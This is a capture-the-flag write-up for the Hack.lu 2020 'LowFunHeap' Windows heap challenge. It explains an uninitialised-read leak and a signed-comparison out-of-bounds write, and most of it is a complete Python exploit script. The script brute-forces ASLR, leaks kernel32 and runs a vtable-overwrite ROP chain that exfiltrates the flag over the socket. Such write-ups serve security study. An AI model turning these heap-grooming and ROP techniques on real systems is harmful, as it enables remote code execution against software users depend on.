Rating:

LowFunHeap writeup

Summary

  • Make note strikes back on Windows heap
  • Bugs
    • Uninit var usage after empty string receival (printable with option '1')
    • OOB access on option '3' due to signed comparison
  • 0x20 size chunks allocated at LFH chunks
  • 32bit binary at year 2020, much wow

Exploit

  1. Leak binary base
    1. 0x20 size chunks use LFH, saturate the first UserBlocks with 0x18 chunks with option '3' such that last 4 bytes are set to target address to leak (LSByte must be '\x00')
    2. Probe for binary base by checking leak result with expected leak data
      • I used binary base + (0x00017B00 or 0x00007500)
      • If not hit, will either crash or return different data
      • If hit, will return some known data
      • Requires max 2 bytes bruteforce (in reality completes quite fast due to low entropy, see ref)
    3. Windows ASLR only changes binary & dll bases after reboot (dunno the exact internals) - leak once, use forever
  2. Leak kernel32 base
    1. We have binary base, just read IAT
  3. Overwrite vtable, stack pivot & ROP our way through flag
    1. With OOB access on option '3' we can overwrite vtable of object created at option '1'
    2. Use option '3' with two elements (fetching malloc(0x10 * 2)), write ROP payload at first element and overwrite vtable with second OOBed element
      • I used stack pivoting with mov esp, ebp ; pop ebp ; ret gadget at kernel32
      • Check out the if statement predicate just above of innermost while loop, see how ebp is set :)
      • Some useful functions are given (ex: sending 18 bytes from given buffer over socket)
      • Requires about 1/0x18 bruteforce since we assume option '1' and '3' buffers are at index (0, 2) or (1, 3) ... up to (0x15, 0x17), probably can do better with derandomization but didn't bother

Exploit Code

from pwintools import *
from time import sleep

binary = PE(r'.\lfh.exe')
k32 = PE(r'.\bins\kernel32.dll')

# pre-leak
IP, PORT, binary.base, k32.base = 'flu.xxx', 2094, 0x009f0000, 0x75b00000

DEBUG = False
def run():
    global _p, p
    if DEBUG:
        binary.base, k32.base = 0xf0000, 0x76320000
        _p = Process('lfh.exe')
        #_p.spawn_debugger(x96dbg = True, sleep = 5)
        sleep(0.5)
        p = Remote('127.0.0.1', 9999)
        p.timeout = 20000000
    else:
        print(PORT)
        p = Remote(IP, PORT)
        p.timeout = 1500

def destroy():
    try:
        _p.close()
    except:
        pass
    try:
        p.close()
    except:
        pass

def cmd(sel, data):
    p.recvuntil('\xCC\x00')
    p.send(str(sel))
    p.send(data)

def sel1(s):
    cmd(1, s)  # s == '\n' causes uninit var access
    p.recvuntil('DEBUG: obj->hash:\0')
    return p.recvuntil('\xAA\xBB')[:-2]

def sel2(wait=4000):
    old_timeout, p.timeout = p.timeout, wait
    cmd(2, '')  # liveliness test?
    p.timeout = old_timeout

def sel3(elem_cnt, indices, strs):
    payload  = p32(elem_cnt)
    payload += ''.join(map(lambda x: p32(x[0])+x[1][0]+x[1][1], zip(indices, strs)))
    cmd(3, payload)

def sel3_free():
    cmd(3, p32(0xffff))

def spray(cnt, spray_payload):
    elem_cnt = cnt
    indices = list(range(elem_cnt))
    assert('\n' not in spray_payload[:-1])
    strs = [(spray_payload, spray_payload)] * elem_cnt
    sel3(elem_cnt, indices, strs)

# binary base leak
def leak_binary_base():
    match_1 = ''.join(chr(int(c, 16)) for c in """
    38 39 3A 3B 3C 3D 3E 3F  40 41 42 43 44 45 46 47
    48 49 4A 4B 4C 4D 4E 4F  50 51 52 53 54 55 56 57
    58 59 5A 5B 5C 5D 5E 5F  60 41 42 43 44 45 46 47
    48 49 4A 4B 4C 4D 4E 4F  50 51 52 53 54 55 56 57
    58 59 5A 7B 7C 7D 7E 7F  80 81 82 83 84 85 86 87
    88 89 8A 8B 8C 8D 8E 8F  90 91 92 93 94 95 96 97
    98 99 9A 9B 9C 9D 9E 9F  A0 A1 A2 A3 A4 A5 A6 A7
    A8 A9 AA AB AC AD AE AF  B0 B1 B2 B3 B4 B5 B6 B7
    B8 B9 BA BB BC BD BE BF  C0 C1 C2 C3 C4 C5 C6 C7
    C8 C9 CA CB CC CD CE CF  D0 D1 D2 D3 D4 D5 D6 D7
    D8 D9 DA DB DC DD DE DF  E0 E1 E2 E3 E4 E5 E6 E7
    E8 E9 EA EB EC ED EE EF  F0 F1 F2 F3 F4 F5 F6 F7
    F8 F9 FA FB FC FD FE FF  75
    """.strip().split())
    match_2 = '\x83\xE6\x3F\x80\x7F\x29'

    # we can be 2x faster, but oh well it still works :)
    for i in range(0x1, 0x10000):
        try:
            try_base = i * 0x10000
            log.info('Trying base {:08x}'.format(try_base))

            # 1. saturate LFH
            alternative = False
            spray_payload = 'A'*0x1c + p32(try_base + 0x00017b00)[:-1] + '\n'
            if '\n' in spray_payload[:-1]:
                alternative = True
                spray_payload = 'A'*0x1c + p32(try_base + 0x00007500)[:-1] + '\n'
                if '\n' in spray_payload[:-1]:  # 0x0a??????-like bases, let's just :pray:
                    log.info('Skipping base {:08x}'.format(try_base))
                    continue

            run()
            sel2()

            spray(0x18 // 2, spray_payload)

            # 2. free all at LFH
            sel3_free()

            # 3. try probing
            # read base + 0x00017B00 => if hit, yields match_1
            # read base + 0x00007500 => if hit, yields match_2
            res = sel1('\n')
            if (not alternative and res == match_1) or (alternative and res == match_2):
                return try_base

            # else, we've probed something else but got different results (heap, other dlls, etc.)
            log.info("Misprobe")
        except KeyboardInterrupt:
            break
        except:
            pass
        finally:
            destroy()
    
    return None

def leak_k32_base():
    # kernel32 leak
    run()
    sel2()

    idt_ptr = binary.base + 0x15000

    spray(0x18 // 2, 'A'*0x1c + p32(idt_ptr)[:-1] + '\n')
    sel3_free()

    res = sel1('\n')[:4]
    WriteConsoleW = u32(res.ljust(4, '\0'))
    log.info('WriteConsoleW: {:08x}'.format(WriteConsoleW))

    k32_base = WriteConsoleW - k32.symbols['WriteConsoleW']
    assert k32_base & 0xffff == 0

    destroy()

    return k32_base

# first alloc 0x20 => first LFH 0x20, UserBlocks cnt 0x18

#binary.base = leak_binary_base()
log.success('lfh.exe: {:08x}'.format(binary.base))
#k32.base = leak_k32_base()
log.success('kernel32.dll: {:08x}'.format(k32.base))

for i in range(10000):
    try:
        log.info('Attempt {}'.format(i))

        run()
        try:
            sel2()
        except KeyboardInterrupt:
            break
        except:
            log.warning("Response too slow...")
            break

        sel1('a\n')

        """
        base: k32
        0x1090e : mov esp, ebp ; pop ebp ; ret
        0x10911 : ret
        0x6d23b : push esp ; pop esi ; ret
        0x1e7b2 : pop eax ; ret
        0x49b82 : add eax, esi ; pop esi ; ret
        0x47718 : mov eax, dword ptr [eax] ; ret
        0x223a7 : pop ecx ; ret
        0x1fb4b : mov ecx, eax ; mov eax, ecx ; pop ebp ; ret
        0x5dfa3 : mov dword ptr [eax], ecx ; xor eax, eax ; pop ebp ; ret 0x18
        """
        flag_buf = binary.base + 0x1f840
        overlapped = binary.base + 0x1f940
        send18b = binary.base + 0x12CF
        sockfd_ptr = binary.base + 0x1E9A0
        rop  = ''
        rop += p32(0)
        rop += p32(k32.base + 0x1e7b2) + p32(binary.base + 0x1E9A8)  # eax = &hFlag
        rop += p32(k32.base + 0x47718)  # eax = *eax
        rop += p32(k32.base + 0x1fb4b) + p32(0)  # ecx = eax (= hFlag)
        rop += p32(k32.base + 0x1e7b2) + p32(0x30)  # eax = 0x30  (offset @ stack 0x1337)
        rop += p32(k32.base + 0x6d23b)  # esi = esp
        rop += p32(k32.base + 0x49b82) + p32(0)  # eax = eax + esi
        rop += p32(k32.base + 0x5dfa3) + p32(0)  # [eax] = ecx  (*(arg loc) = hFlag)
        rop += p32(k32.base + k32.symbols['ReadFile']) + 'A'*0x18 + p32(k32.base + 0x223a7) + p32(0x1337) + p32(flag_buf) + p32(0x100) + p32(0) + p32(overlapped)
        rop += p32(sockfd_ptr)  # already return to pop ecx
        for i in range(3):
            rop += p32(send18b) + p32(k32.base + 0x223a7) + p32(flag_buf + 18 * i) + p32(sockfd_ptr)
        rop += '\n'

        vtable_payload = p32(0) + p32(k32.base + 0x1090e) + '\n'  # vtable 2nd function as stack pivoter

        assert '\n' not in (rop[:-1] + vtable_payload[:-1])

        # very roughly approx. 1 / 0x18 chance of overwrite
        indices = [0, -5 & 0xffffffff]
        strs = [('\0\n', rop), ('\a\n', vtable_payload)]
        sel3(2, indices, strs)

        print(p.recvuntil('}'))
        break
    except KeyboardInterrupt:
        break
    except:
        pass
    finally:
        destroy()

### flag{must_be_a_197_iq_hacker} ###
Original writeup (https://github.com/leesh3288/CTF/tree/master/2020/Hacklu_2020/LowFunHeap).